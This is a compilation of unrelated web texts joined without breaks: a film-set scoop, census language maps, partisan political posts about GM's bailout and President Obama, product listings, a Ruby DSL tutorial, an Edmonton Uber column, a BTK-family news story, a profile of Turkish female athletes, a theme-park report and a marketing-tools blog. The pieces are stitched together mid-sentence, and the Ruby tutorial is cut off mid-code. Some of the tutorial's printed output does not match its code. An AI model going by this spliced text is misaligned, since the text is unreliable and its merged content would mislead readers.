Raganork8 has been providing photos, videos, and scoops during the New York filming of The Dark Knight Rises. He has had a knack for getting photos and videos from vantage points that most were not capable of. I have posted much of his material, and believe that the information below is what he heard. But, that doesn't mean the information that was told to him by various sources is factual. So, like always take it with a grain of salt.hits theaters July 20th 2012 and stars Christian Bale as Bruce Wayne/Batman, Michael Caine as Alfred Pennyworth, Garly Oldman as Jim Gordon, Tom Hardy as Bane, Anne Hathaway as Selina Kyle, Joseph Gordon-Levitt as John Blake and Marion Cotillard as Miranda Tate.These maps visualise the Language Spoken at Home (LANP) data from the 2016 Census. We had the benefit of examining the data at the most granular geographic division possible (mesh blocks). This enabled us to produce a dot density map that vividly shows how people from different cultures coexist (or not) in ultra high resolution. Each coloured dot represents 5 people from the same language group in the area. Highly populated areas have a higher density of dots; while language diversity is shown through the number of different colours in the given area.
Do you live in an area that’s heavily intermixed or segregated? Ping us on Twitter @smallmultiples
The maps have been featured in The Age article Blue and red, with green flashes - map reveals Melbourne’s kaleidoscope of languages with detailed analysis by Craig Butt
Sydney
View full-size map of Sydney 1 dot = 5 people
Melbourne
View full-size map of Melbourne 1 dot = 5 people
Language groupsTruth in advertising: Paul Ryan blows the whistle on General Obama Motors’ phony loan repayment
Have you seen the General Motors commercial that claims the company has now repaid all the taxpayer-funded bailout money? It’s a lie. A flat-out lie. They simply emptied out one pot of bailout money to fill up another pot of bailout money.
Rep. Paul Ryan (R-WI) calls bullshit on the whole scam:
You may have read reports from the Obama Administration or seen ads on TV claiming that General Motors has fully paid back what it owes you the American taxpayer. These claims struck me as odd and misleading. The federal government still owns over 60% of this auto company. This so-called repayment is actually a transfer of $6.7 billion from one taxpayer-funded bailout account to another. As this is your money, I think you deserve some clarity on this shell game. My colleagues Congressmen Jeb Hensarling, Scott Garrett and I have asked Treasury Secretary Tim Geithner to provide an updated, accurate, and honest account of the taxpayer money that is still propping up General Motors. If anyone is owed a clear and honest explanation it is those hit hardest by the downturn in the auto industry, including those I serve in Janesville, Kenosha, Oak Creek and the surrounding communities in Southern Wisconsin. It is time to put an end to the crony capitalism in Washington.
Watch the shells closely and tell me which one covers the pea.Product Description
QSB is proud to announce the first issue of Regency Mint’s Collector Classic Series, where historic coins are reborn. This series will feature the designs of Vintage World Coins as.999 Fine Silver bullion medals.
Each Pillar Dollar round is unique due to the Antiqued finish that is applied. This gives the sense of an old Spanish coin that was recovered from a Pirate treasure or shipwreck. Each piece is struck in.999 Fine Silver, and weighs between 30.5 and 31.5 grams each (a little under to a little over one troy ounce). The original coins were issued weighing 27.47 grams with a fineness of 0.93055, giving an ASW (actual silver weight) of 0.8218 troy ounces.
History of Spanish Pillar Dollars
All foreign silver and gold coins were legal tender in the U.S. until 1857. This means that everyone from George Washington to Abraham Lincoln used Spanish coins due to the lack of circulating coinage in the country until then. This also includes coins for Spanish colonies such as the Mexican, French, Portuguese, Brazilian and British colonies.
The obverse has “VTRAQUE VNUM” above in Latin, which translates as “BOTH ARE ONE”, referring to the two hemispheres shown below, which reminds the holder of Spain’s influence in the East and the West. Aside the two sides of the globe are two crowned pillars, which represent the Pillars of Hercules. Southern tip of Spain and the Rock of Gibraltar to the North, and either Monte Hacho or Jebel Musa on the North shore of Africa, marking the Southern side of the opening to the Mediterranean Sea. The wreaths on the two pillars say “PLUS” and “ULTRA”, meaning “MORE BEYOND”, again stating the extent of the Spanish Empire beginning in the 15th century.Incredibly delicious, delightfully crunchy, Double Fudge Crunch SPIRU-TEIN Shake doubles up on the delicious flavor of the world\'s finest cocoa-fudge and then adds a surprising, crispy crunch, made from tasty, non-GMO soy. With 14 grams of the highest quality non-GMO vegetarian protein, 100% Daily Value of energy-liberating vitamins and phytonutrients - and just 110 calories per serving, each serving of SPIRU-TEIN is a high-protein energy meal! SPIRU-TEIN Energy Shakes now feature our pioneering, patent-pending Tri-Part Protein Blend of non-GMO rice protein, pea protein, and both non-fermented and fermented soy.
Available Sizes: Product No. 45927 - 1.1 lb. / 495g Can (15 Servings) Product No. 45929 - 1.17 oz. / 33g Single Serving Packet Product No. 95929 - 8 Single Serve Packets
Product Label
*Product descriptions are subject to change. Please view product at your local retailer for current ingredient details.
**These statements have not been evaluated by the Food and Drug Administration. This product is not intended to diagnose, treat, cure or prevent any diseaseDuring a combination campaign and tax subsidized golf trip to California, Mr. Obama took time off to announce funding of $173 million in federal aid. Visiting a farm in Los Banos on February 14, 2014, he spoke of weather-related disasters that affected agricultural areas in Southern California. While he emphasized changing weather that is becoming more destructive, the President didn’t mention State and Federal policies that favor and enforce diverted water flows for the benefit of the Delta smelt.
In a speech in Upper Marlboro, Maryland on Tuesday February 18, announcing new fuel –economy rules, President Obama said, “Because what it means is, you’ve got to fill up every two weeks instead of one week, and that saves the typical family more than $8,000 at the pump over time.” Note that the saving is ‘over time’ not per year or any other period. The reason is that the $8,000 in fuel savings is as elusive as the $2,500 we were to save by the introduction of the misnamed Affordable Care Act. The President and his underlings have no vague idea how the average family is going to obtain $8,000 in fuel savings. The comment is simply a brain burp that attracts attention and elicits applause for appealing words now in hopes of notable results later.
In a White House speech to the press on August 20, 2012, the President put his foot down when he said, “We have been very clear to the Assad regime, but also to other players on the ground, that a red line for us is we start seeing a whole bunch of chemical weapons moving around or being utilized. That would change my calculus. That would change my equation.” Speaking at a Swedish press conference two days later he recalled, “I didn’t set a red line, the world set a red line.”
As a reminder, Russian President Putin stepped in and agreed to dispose of the chemical weapons amid the conflict between Assad and rebel Syrian forces. One year and a day after Obama’s ‘red line’ speech in Washington, the Assad regime released deadly fumes in the Damascus suburbs resulting in the deaths of between 500 and 1,300 people of all ages.
. Recently in Munich, Secretary of State Kerry asked Russian Foreign Minister Sergey Lavrov to speed up the removal of the chemical weapons in accord with prior agreements. Last reports suggest that about 4% of the chemical weapons had been removed.
Recently, Russia has been warming up the engines of its combat vehicles and testing the rotor blades on their attack helicopters in the Crimean Peninsula of Ukraine. After surrounding airports and setting up armed checkpoints on important roads in the area, leaders in the free world became alarmed. German Chancellor Angela Merkle and British Prime Minister David Cameron contacted Moscow for explanations. President Obama said publicly that, “there will be costs for any military intervention in Ukraine.”
The problem here, as Matt Spetalnick recounted in a Reuters report on February 20, 2014, “Obama’s choice of words evoked comparisons to the chemical weapons “red line” he established for Syrian President Bashar al Assad and then failed to enforce with military action last year, something critics say undermined U.S. credibility.”
Of course at the time Obama was speaking Russia had ALREADY invaded Ukraine. As Morgan Griffith is wont to say: “You can’t make this stuff up.”
The spin machines are running full tilt in the halls of government. But according to reports from around the country and around the world, our present leaders are becoming less respected and more suspect of spreading empty words and hollow promises in critical areas of domestic policy and international conflicts like Syria, Egypt and Ukraine.
It is becoming clear that the President believes that the clever use of trite words, false promises with handouts and a light sprinkling of resolve will beguile listeners into joining his chorus of concurrence. Words, actions and results must be linked. Distinguished political leaders are those who are clear, concise and committed in all things including foreign affairs as well as domestic policy.
– Dick BayntonThis guest post is by Michael Bleigh, a Rubyist developing web applications and more for Intridea from his hometown of Kansas City. He is a prolific member of the open-source and Ruby communities, releasing such projects as OmniAuth and Hashie. In addition, he has presented at many Ruby events including RubyConf 2010, RailsConf 2009⁄ 2010 and more. While he spends much of his time writing Ruby code, he also enjoys graphic design and user experience work.
Domain Specific Language Introduction
Ruby provides some fantastic built-in features for creating Domain Specific Languages (DSLs). A Domain Specific Language is, for our purposes today, like a miniature specialized programming language within a programming language. It is a way to expose functionality in a simple, readable format for other programmers (or yourself) to use. One of the most commonly used DSLs in the Ruby world is Sinatra:
require 'rubygems' require'sinatra' get '/hello' do "Hello world." end
Sinatra is a Domain Specific Language for building web applications. Its syntax is built based on the HTTP verbs such as GET, POST, and PUT. By exposing functionality in this way, the code is much more readable than using a more complex, programmatic API such as something like this:
app = NoDSL::Application.new app.on_request(:get, :path_info => '/hello') do |response| response.body = "Hello world." end
This is far less readable than Sinatra’s code, but in many programming languages this would be a perfectly acceptable design for a library. However, because Ruby has powerful facilities for metaprogramming and first-class functions, it is not only common practice but essentially expected for libraries to provide clean, readable APIs and leverage DSLs when necessary to do so.
Yield to Oncoming Code
The yield statement is a very important concept to understand when building a Ruby DSL. The functionality provided by yield allows a developer to pass off control temporarily to allow for configuration or advanced functionality. Yielding is a pattern that completely pervades the Ruby language, including the Ruby standard library (the functionality included with the language itself). If you’ve ever used the Array#map (or Array#collect ) functionality, that’s one example of a yield pattern. An example use to increment all the items in an array would look like this:
[1, 2, 3].map{|i| i + 1} # => [2, 3, 4]
So how would we re-implement the map functionality if it weren’t provided for us? It’s actually quite simple using the yield statement:
class Array def my_map result = [] self.each do |item| result << yield(item) end result end end [1, 2, 3].my_map{|i| i + 1} # => [2, 3, 4]
The yield statement essentially stops the evaluation of the method and evaluates the block passed into the method, calling it with any arguments supplied in the yield statement itself. So if I had a method that simply yielded its argument, it would look like this:
def parrot(argument) yield argument end parrot("Polly want a cracker.") do |argument| puts argument end # Output: "Polly want a cracker."
Using yield for DSLs
Now, using yield, we have the facilities to build a simple DSL. Let’s say we want to create a Domain Specific Language for describing kitchen recipes. We want to be able to add ingredients as well as steps, then print out the result. Our basic class would look something like this:
class Recipe attr_accessor :name, :ingredients, :instructions def initialize(name) self.name = name self.ingredients = [] self.instructions = [] end def to_s output = name output << "
#{'=' * name.size}
" output << "Ingredients: #{ingredients.join(', ')}
" instructions.each_with_index do |instruction, index| output << "#{index + 1}) #{instruction}
" end output end end
Now we can build a recipe:
mac_and_cheese = Recipe.new("Mac and Cheese") mac_and_cheese.ingredients << "Noodles" mac_and_cheese.ingredients << "Water" mac_and_cheese.ingredients << "Cheese" mac_and_cheese.instructions << "Boil water." mac_and_cheese.instructions << "Add noodles, boil for six minutes." mac_and_cheese.instructions << "Drain water." mac_and_cheese.instructions << "Mix in cheese with noodles."
The output of ‘ puts mac_and_cheese ’ will look like this:
Mac and Cheese ============== Ingredients: Noodles, Water, Cheese 1) Heat water to boiling. 2) Add noodles, boil for six minutes. 3) Drain water. 4) Mix in cheese with noodles.
While this works, the code doesn’t seem to be very elegant at all! We need a way to make it look more like you would see on a recipe card. Let’s add some functionality using yield. First, we’ll rewrite the initializer to use yield :
def initialize(name) self.name = name self.ingredients = [] self.instructions = [] yield self end
Upon initialization, the Recipe class will now yield itself, meaning that the caller can call modify it within a block context. Next, we need to add some friendly methods for adding ingredients and instructions to the class:
def ingredient(name, options = {}) ingredient = name ingredient << " (#{options[:amount]})" if options[:amount] ingredients << ingredient end def step(text, options = {}) instruction = text instruction << " (#{options[:for]})" if options[:for] instructions << instruction end
This lets us create a recipe in a much more natural way:
mac_and_cheese = Recipe.new("Mac and Cheese") do |r| r.ingredient "Water", :amount => "2 cups" r.ingredient "Noodles", :amount => "1 cup" r.ingredient "Cheese", :amount => "1/2 cup" r.step "Heat water to boiling.", :for => "5 minutes" r.step "Add noodles to boiling water.", :for => "6 minutes" r.step "Drain water." r.step "Mix cheese in with noodles." end
Once again, if we run ‘ puts mac_and_cheese ’ we can see the results of our handiwork:
Mac and Cheese ============== Ingredients: Water (2 cups), Noodles (1 cup), Cheese (1/2 cup) 1) Heat water to boiling. (5 minutes) 2) Add noodles to boiling water. (6 minutes) 3) Drain water. 4) Mix cheese in with noodles.
Great! Not only do we have more functionality (allowing the user to specify amounts of ingredients and durations for instructions), but this looks a lot closer to something you might see on a recipe card.
Using yield is a great way to provide a simple configuration DSL and it takes almost no extra effort. However, to really take a DSL to the next level, you may be interested in utilizing another piece of the Ruby language called instance_eval.
Kicking It Up A Notch With instance_eval
While almost all programming languages give an eval function for evaluating a provided string as though it were source code, Ruby’s powerful blocks allow you to do this in a much cleaner and more readable fashion in some specific cases. For our purposes today, we’ll be using instance_eval. The instance_eval method takes either a string or a block and evaluates the passed block in the context of the object calling instance_eval. You can do this with any object in Ruby, even a String:
"Hello.".instance_eval{ size } # => 6
This provides a distinct advantage, in some ways, over yield by actually changing the evaluation context so that there’s no need to specify the object in question for each statement (e.g. r.ingredient ). You can see an instance_eval based DSL in action if you’ve used the Rails 3 Router. However, the Rails 2.3 router was based on yield (thus map.resources instead of just resources ).
Caveat Eval
While instance_eval may be a good option (and even the correct one) for a specific DSL you are working on, it is not an universally useful tool. Because instance_eval changes the evaluation context, you will lose access to methods on the calling context (because self changes) as well as expose private methods of the evaluating object that you may not have intended to be accessible. Remember that whenever you use instance_eval, the code passed in is treated as though it were being written into a method body of the object. A simple example of this:
def me "Michael Bleigh" end class YieldDSL attr_accessor :name def initialize yield self end end class EvalDSL attr_accessor :name def initialize(&block) instance_eval &block end end YieldDSL.new do |d| d.name = me end # => #<YieldDSL:0x101771bc0 @name="Michael"> EvalDSL.new do self.name = me end # EXCEPTION: NoMethodError
So it is wise to be careful when providing an instance_eval based DSL, as it may not always be more beneficial for the user. A simpler syntax comes at the cost of changing evaluation context.
Building Recipes with instance_eval
In our case for building Recipes, however, there isn’t danger in switching context. We’re mostly passing in strings and it’s unlikely that any complex context is going to be associated. So let’s upgrade it! All we need to do is redefine the initializer once more:
def initialize(name, &block) self.name = name self.ingredients = [] self.instructions = [] instance_eval &block end
Ruby has a convention that the last argument passed to a method is a block that can be captured in the method by using an ampersand ( & ) character with a variable name. In this way, we have direct access to the block (whereas before with yield we were making an implicit call to the block). You can also use the built-in block_given? method to check whether or not a block was passed into the method you’re currently evaluating. This should be done instead of checking for block.nil? or similar.
So what can we do with our fancy new instance_eval DSL? We can define a recipe with an even prettier syntax!
mac_and_cheese = Recipe.new("Mac and Cheese") do ingredient "Water", :amount => "2 cups" ingredient "Noodles", :amount => "1 cup" ingredient "Cheese", :amount => "1/2 cup" step "Heat water to boiling.", :for => "5 minutes" step "Add noodles to boiling water.", :for => "6 minutes" step "Drain water." step "Mix cheese in with noodles." end
And if we run ‘ puts mac_and_cheese ’, we get the same results as before.
Finishing Up
So now you should have some basic idea of how to build DSLs in Ruby using yield and instance_eval. The ability to expose functionality in a concise, easily-readable way is a very useful weapon for your programming arsenal. Before we wrap, let’s take a look at a couple more things:
Having AND Eating Cake
There’s no reason that yield and instance_eval DSLs need to be mutually exclusive. Far from it! In Ruby we encourage options, and it’s actually quite easy to provide a way to yield OR instance_eval based on the block passed in:
def initialize(&block) if block_given? if block.arity == 1 yield self else instance_eval &block end |
will impoverish them. And a few defamed Mayor Don Iveson and various councillors, alleging council was in the pocket of a giant American company, and that council was glibly ruining the lives of cab drivers.
It was the rawest, most heated council meeting I’ve witnessed since taking this job in 2010, though it never crossed a line. The cabbies staged an angry protest, but they never morphed into a chaotic mob. They made a point, not a riot.
They were also willing to listen when council sent out acting city manager Linda Cochrane to broker peace. Cochrane shushed them, told them to start acting like good Canadian citizens, and even threatened to call the police on them if they continued to misbehave.
“Corrupt mayor! Shame! Shame!” the cabbies continued to rage.
Cochrane responded by holding up one hand in the air as if she were a kindergarten teacher calling for silence.
And, amazingly, one by one, the cab drivers shut their mouths and raised their hands in the air as well.
Sheesh, I even raised my hand in the air.
Silence.
That woman has some presence.
Cochrane’s intervention allowed council to continue its meeting in orderly fashion. It passed a motion calling for a new bylaw that, if enacted in late November, will open up the market to Uber drivers, but will ensure they have proper insurance and licensing. It will also give the city an enforceable bylaw to crack down if arrogant Uber continues to act like it makes the rules and refuses to comply with regulations.
The motion was a win for Uber, but the meeting was a win for the cabbies, even as at least one councillor was angered by their clamour.
“Today I honestly have to admit, as a mother, it felt like a toddler having a tantrum,” Coun. Bev Esslinger said.
I don’t see this protest as Esslinger does. The protest was no tantrum, but a push to wake up council to the economic hardship that might flow out of this reform. These were not foolish children, but serious men with serious adult responsibilities, mortgages to be paid, children to be clothed and fed.
They deserve our attention and respect. They don’t deserve the kind of glib, selfishly motivated disregard they have received from Uber executives.
Of course, it’s utter rubbish for any cabbie to suggest that Iveson or any councillor is corrupt. In fact, council is sweating to make the right choices here. But many of these cab drivers could well lose a major investment and also face unfair competition if council doesn’t eventually get it right with a new bylaw.
Many folks welcome competition in this industry and have called out cabbies for lack of service and for charging too much. But these men are not at the top, but closer to the bottom, of the economic ladder. They’re almost all immigrants, new Canadians looking to work hard. They have also made major investments to buy operator plates, which went for as much as $200,000 at the market peak.
Umesh Patel, 36, started to drive a cab 2-1/2 years ago and bought his plate for $125,000 six weeks ago. He has a wife and two kids, ages five and two. He made the investment because he’s dedicated to this business and he wanted to own, not rent. He also thought that Uber wasn’t going to be accepted in Edmonton, just as it’s been rejected in many cities.
“This is my big investment,” Patel said. “It’s not my cash money. It’s my line of credit. I got a loan. I’ve got to pay it.”
Plates are one issue, but it will also be a blow if the market is suddenly flooded with new drivers who don’t have to charge a fixed minimum price, as cab drivers must.
City branch manager Scott Mackie is both preparing the new bylaw and also digging in to best practices from other cities dealing with Uber, so council can figure out how to make positive reforms with the least amount of disruption. Iveson is talking about maybe waiting to get more information before any new bylaw is fully enacted.
That’s a good idea. That’s the prudent course.
And the cabbies have now made enough of an impression that council will seriously consider this more cautious approach.
dstaples@edmontonjournal.comThe daughter of the BTK serial killer plans to publish a book next year about the trauma of discovering that her father had killed and terrorized people for 31 years.
Kerri Rawson grew up with her brother and her parents, Dennis and Paula Rader, in Park City. She hopes the book will help people come to terms with betrayal, post traumatic stress, anxiety and depression – afflictions she says she knows well. She’s undergone months of therapy off and on since her father was arrested by Wichita police and the FBI in 2005.
The book’s tentative title is “Someday My Heart Will Mend: Holding on to Faith, Surviving the Trauma of My Dad, the BTK Serial Killer.” It will be published by Thomas Nelson publishers, which accepted a book proposal she wrote over the last 18 months, Rawson said.
“Nelson specializes in publishing books for the Christian marketplace,” said Rawson’s agent, Doug Grad. “So there was an immediate connection from Nelson with Kerri’s spirituality and her ability to overcome the tremendous obstacles placed in her path.”
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“I’m hoping it’s going to help a lot of people,” Rawson said Saturday, from her home in the Detroit area. “It’s helping me to work on it, to face what my dad did, and to deal with it.”
Dennis Rader, her father, pleaded guilty in 2005 to torturing and killing 10 people, starting with two children and their parents, the Otero family, in Wichita in 1974.
The detectives who captured Rader in 2005 said that Rawson, her brother, Brian, and their mother, Paula, were crime victims as well.
Lt. Ken Landwehr, the commander of the Wichita Police Department’s homicide unit at the time, said he and detectives who spent 11 months investigating the case in 2004 and 2005 were convinced that the family knew nothing of Dennis Rader’s murders or secret life.
Most of her father’s murders took place before Rawson was born; she later learned, to her horror, that her father had strangled victim Nancy Fox while Paula Rader was pregnant with Kerri.
“I was a crime victim before I was born,” Rawson said.
SHARE COPY LINK A new book prompts Dennis Rader's daughter, Kerri Rawson, to balance evil out with forgiveness, hope and compassion. (video by Jaime Green)
Grad predicts the book will appeal to many, because it’s an unusual story and because many people suffer from emotional traumas. Rawson navigated one of the worst, he said.
“There is really no guidebook for getting through what she endured, because … how many people do we know who have had a serial killer for a father?” Grad said. “But it’s not just a fascinating story; it’s a story where readers can take away something for themselves, and apply it to their own lives.
“She was an innocent victim, just an average person trying to live her life, and suddenly had to deal with this horror,” Grad said. “So she comes here to help people with real world experience; she’s been through this fire, and is now also well-read in dealing with trauma.” (Editor’s note: Grad previously worked for HarperCollins and was the book editor for The Eagle’s “Bind, Torture, Kill: The Inside Story of BTK, the Serial Killer Next Door,” published in 2007.)
Rawson refused all interviews for nearly 10 years, including with the biggest newspapers, magazines and television news shows in the country. “I was living a quiet life for nine years, trying to recover and heal,” she said Saturday. “I always wanted my life to be quiet.”
But she came forward in late 2014 to talk to The Wichita Eagle because she was irritated by watching author Stephen King on television, talking about “A Good Marriage,” a novella he wrote based on what he thought might have happened in the Rader family as they discovered they had a murderer in their home.
She vented her frustrations about King to The Eagle, and then talked for several stories in 2014 and 2015 about how she’d struggled through depression, anxiety and post traumatic stress syndrome. In all those stories, she expressed horror at what her father’s victims and their families suffered.
“After I talked for the story, a lot of people were reaching out to me, and told me my story was helping them,” Rawson said.
“I realized there was more I could do to help people, that I could funnel my energy into things that will help people.”Spurred by a second world record achieved in just one week, by a free diver by the name of Şahika Ercümen, who just happens to be Turkey's second global success story in the sport of free diving, following another impressive young lady by the name of Yasemin Dalkılıç, an all-time great in the genre, who alone has also racked up six world records to her name, I thought it was high time to place the spotlight on a number of up and coming female sports success stories, whose careers are making firsts in Turkey and beginning to stand out in the global sports world.
While over the past decade Turkey's female basketball and volleyball teams have taken vast strides to make a name for themselves worldwide and to join the Olympic circuit, in fact the first women to participate in the Olympic games for Turkey were two fencers by the names of Halet Çambel and Suat Fetgeri Aşani, who competed on behalf of Turkey in the 1936 Olympics in Berlin. While her success in the sport of fencing may be a lesser known fact, Halet Çambel was actually one of the most important archeologists of her time and her home, nicknamed the "red mansion," is still used today as a center for archeology and traditional architecture by Boğaziçi University, where she kindly donated it to.
Since then and especially over the past decade, women in sports have gained a greater presence over the years and in fact for the first time in Turkey's history in the 2012 London Olympic Games, there were actually a higher number of female athletes representing their country than males. Turkish women's success in team sports was also unprecedented at the London Games with Turkey's women's basketball and volleyball teams not only competing for the first time ever at the Olympic level, but also for being the only team-based sports where Turkey even had contenders in 52 years. Furthermore, Turkey's women's basketball team, aptly nicknamed the "Fairies of the hoop," in Turkish "Potanın Perileri," went on to become fifth worldwide, while Turkey's women's volleyball team, nicknamed "Sultans of the Net," in Turkish "Filenin Sultanları," nearly qualified for the quarterfinals. Since then both teams have racked up international acclaim, but in fact Turkey's strongest success amongst male and female athletes alike have always been in weightlifting, wrestling, judo and athletics.
In honor of these ladies who were pioneers in their field and set a precedent for women in sports in Turkey, the following is a list of some of the stand out female sportsmen who have been marking firsts for their country or have broken world records in their athletic fields.
Şahika Ercümen: Free diving world record holder
Turkey has long seen success when it comes to female free divers, however Şahika Ercümen, a 31-year-old free diving world champion and dietitian, who originally hails from Çanakkale, now holds multiple world record titles for free diving in the variable weight with or without fins categories. After securing her sixth world record on Oct. 22, diving 110 meters in the variable weight apnea category, just three days later in a dive she made in the variable weight without fins category in Antalya's Kaş district and in honor of the 93 anniversary of the founding of the Republic, she successfully broke her own personal best and world record of 91 meters by diving 93 meters.
Şahika began her pursuit of underwater sports with scuba diving and underwater rugby and has been the member of four national teams namely the underwater hockey, underwater rugby, underwater orienteering and free diving national teams in world and European championships. She broke her first world record in 2011 in Austria for a dynamic apnea dive of 110 meters, which got her into The Guinness Book of World Records as a world record both for men and women.
Nur Tatar: Turkey's female medal winner in Rio 2016
Nur Tatar is Turkey's top taekwondo practitioner, competing in the feather, light and welterweight divisions. Hailing from Van, this 24-year-old was also the only Turkish female to take home a medal in the 2016 Rio Olympics, winning a bronze in the women's taekwondo 67-kilo category. She won her first medal at the age of 15, and has since racked up multiple European championships and took home a silver medal at the 2012 Summer Olympics.
Lena Erdil: Turkey's windsurfing wonder
This 27-year-old who has her own Windsurf School in Bodrum is making waves this summer racking up top positions in international windsurfing competitions. She is currently the IFCA (International Funboard Class Association) World Champion and came in second in September in the world's most prestigious windsurfing competition, the PWA World Tour, both for women's slalom. Currently competing in the NoveNove Maui Aloha Classic for the first time ever, just last week she was the perceived winner until a fierce battle on the waves pushed her into third spot. Nonetheless her achievements are all firsts for Turkey and have made her one of the most successful windsurfing women in the world.
Çağla Büyükakçay: Turkey's first tennis Olympian
Hailing from Adana, the 27-year-old Çağla Büyükakçay, is the first Turk to win a WTA tour event, which she did at the Istanbul Cup earlier in 2016, and the first Turk to compete in the branch of tennis at the Olympics.
Kübra Dağlı: Turkey's hijabi Taekwondo champion
As Turkey's first hijabi champion taekwondo athlete, Kübra Dağlı, 20, from Istanbul, has been praised for winning a gold medal at the recent World Championships in Lima, Peru held between Sept. 29 and Oct. 4.
Neslihan Demir: Turkey's first female flag bearer
Born in Eskişehir in 1983, volleyball player Neslihan Demir led her national team by winning the European qualification tournament and became Turkey's first female flag bearer at the opening ceremony of the 2012 London Games. Under her tutelage the team also placed second in the European League and the Mediterranean Games, making her nearly a household name and named amongst The Fédération Internationale de Volleyball's (FIVB's) heroes. She also garnered 18 individual awards including best "striker" and "scorer".
Yasemin Adar: Turkey's female wrestling champion
Hailing from Balıkesir, this 25-year-old won her country's first-ever women's wrestling gold medal for the -75 KG event at the 2016 European Championships in Latvia.
İpek Onaran:Turkey's Ironman contender
İpek Onaran doubles as a mathematics teacher from Izmir and one of Turkey's most successful endurance athletes who has participated in the Ironman 70.3 two consecutive times, and qualifying for a third. She is joined by her brother Mert, who is qualifying for his first time and both will compete in the Ironman Championship to be held in Tennessee in September of next year.
Birsel Vardarlı: Turkey's clutch basketball player
This 32-year-old female basketball player is considered to be the national team's clutch performer. Originally hailing from Izmir and playing for Fenerbahçe, she took the national team to gold in the 2005 Mediterranean Games in Spain.
Işıl Alben: The epitome of cool
Işıl Alben is Turkey's outright fan favorite and a point guard for Galatasaray. You can check out her skills and Turkey's other basketball "fairies" as they battle out their fate at the Euro Cup Women, which kicked off last month and is currently ongoing.Construction is set to start on a US$1.5 billion Jordanian theme park that could have been lifted straight from the pages of a Michael Crichton novel.
The Red Sea Astrarium will allow guests to go sightseeing at the thriving landscape of the Acropolis during its prime, view the Lighthouse of Alexandria before it crumbled into the sea and visit the abandoned Peruvian city of Machu Picchu as a bustling metropolis.
Groundbreaking work has started at the 184-acre tourist resort in Aqaba, the high commissioner of the Aqaba special economic zone authority, Kamel Mahadin, announced at a ceremony at the World Economic Forum yesterday. The project, masterminded by Rubicon Group Holding, an Amman-based company that makes animated films, will use the latest 4D technology to simulate ancient worlds as well as rides enabling guests to train for skydiving, scuba diving and even piloting a submarine.
Speaking in front of a 360-degree projection of the scheme, Mr Mahadin told WEF delegates that the technology behind the attractions would "catapult Jordan to the forefront for interactive experiences, including a global first for 4D inverted simulation.
"The entertainment resort will undeniably transform the Aqaba region and make it a high-end tourism hub for Jordan," Mr Mahadin said. "It will do so while telling stories from our regional culture, integrating alternative energy sources and promoting the development of the entertainment industry in Jordan."
It will also include four hotels and 16 entertainment developments including a Star Trek-themed attraction as well as a 4D cinema, a water park, shops and restaurants and the American Museum of Natural History's Silk Road Exhibition.
The Red Sea Astrarium was announced in 2011 when it was reported that the project had received financial backing from a group of international investors from the United States and the Arabian Gulf including Jordan's King Abdullah II Fund for Development.
According to Rubicon, the film production company is not investing any money in the project but is designing the entertainment facilities in the resort. The company estimates that the Red Sea Astrarium will attract 480,000 visitors a year. By comparison Dubai's six planned theme parks announced as part of two separate projects at Jebel Ali and Mohammed bin Rashid City are expected to attract 10 million visitors per year. The project is one of a spate of theme parks planned for the region, including IMG Worlds of Adventure, the world's largest indoor theme park, which is currently being built in Dubailand.
"If you look at the number of theme parks that have been built in this region over the last 10 years you can see that the idea of people travelling halfway around the world to visit these things is becoming more and more established and governments are starting to view theme parks as a good way of boosting their tourist draw," said Craig Plumb, the head of research at Jones Lang LaSalle's Dubai office.
"However, getting funding to build these projects can be difficult, especially as operators tend not to put any equity into projects. In Dubai the tendency has been to attempt to fund parks from residential sales, which has not proven successful."
lbarnard@thenational.aelanding pages and conversion rate optimization blog by pagewiz
4 Online Marketing Tools That You Should Start Using Today
By Avi Kaye on June 19, 2014
Reading Time: 7 minutes
When we look at it the wrong way, there’s an awful lot of marketing data floating around. How much traffic you got, sources, Facebook engagement numbers, reach and fans, if people saw your website on a desktop computer or on a mobile phone… Lots and lots of marketing data.
But when we look at it the RIGHT way then we suddenly realize that all this marketing data is awesome. Using the marketing data properly can improve your website and bottom line tremendously.
And there are so many online marketing tools that help make sense of all that marketing data. Want to know how people are reaching your website? Easy. Want to know how to improve your Facebook page? Done. Want to know what people are clicking on when they read your blog posts? There’s an app for that too. Well, not an app, but it’s the same principle.
This list doesn’t include ALL the online marketing tools you might want to have in your toolbox, but they are a very good start.
Start creating your own landing pages with Pagewiz
Google Analytics
Google Analytics probably doesn’t need an introduction, but I’ll do one anyway J. Google Analytics is a (free) monitoring tool that shows you information about your website’s traffic and visitors.
That’s an over simplification of course. Using Google Analytics you can see tons of information about your visitors. You can see what pages people visit and what browser they use. You can see whether they are browsing via a mobile device or using a desktop, and the list goes on.
Google Analytics is a must have online marketing tool for any marketer, as it helps you understand what people are looking for on your website and how to improve their online stay.
Just as an example, you can see what pages bring in the most traffic and create more of them. You can try out different landing page design, and see how it affects the user conversion rate. Or you can see the changes in traffic as your marketing efforts in social networks pays off. In other words, Google Analytics helps you meet your marketing goals.
Just like any other Google product, Google Analytics improves all the time. These days, they also provide you with real-time information, so you can see what visitors are doing right now on your website. Google Analytics also integrates with Google Adwords, so that you can collect marketing data about people who came to your website via ads, which helps you improve your advertising campaigns.
You can get started with Google Analytics here.
Hemingway – A Writing App
In today’s marketing world, we write a lot of marketing content. Blog posts, newsletters, emails, and more. I don’t know about you, but I’m always looking for online marketing tools that will help me improve my marketing content writing. That’s how I found Hemingway.
Hemingway once said that to get started with your story, you should write one true sentence. In his own words, ‘Do not worry. You have always written before and you will write now. All you have to do is write one true sentence. Write the truest sentence that you know.’
So what does this have to do with writing marketing content? Through this delightful website that helps you write ‘bold and clear’ as they put it. The online marketing tool points out sentences that may be difficult to read, highlights adverbs that you included, and more.
The above paragraph, for instance, was graded 9 in readability. The grade level is, according to the site, ‘the lowest education level needed to understand your text. Aim for a Grade Level less than 10 for bold, clear writing.’
They don’t have a downloadable desktop version yet (although one seems to be in the works) but you can edit your text online to see the changes and how they affect readability. All in all, this is a good place to see if your blog posts are clear and concise, and how to improve them.
Crazy Egg
Crazy Egg is the online marketing tool I use when Google Analytics just isn’t enough. Crazy Egg maps out user activity on your website in the form of heat maps. What are heat maps? Well, you can see where visitors clicked, or spent time with their mouse cursor. The longer the time, the redder the area. The shorter the time, the bluer the area. Simple, right?
Crazy Egg is a great online marketing tool that helps you see where you should improve your webpage experience. For instance, you can see buttons that aren’t clicked (because people don’t understand that they are buttons), images that ARE clicked (because people expect them to do things), areas of text that no one sees, or landing pages that people scroll past their values without looking at them.
Armed with this information, changing the layout of your website changes from guesswork to fact-based decisions.
Want to learn more? Check out their very neat intro video.
LikeAlyzer
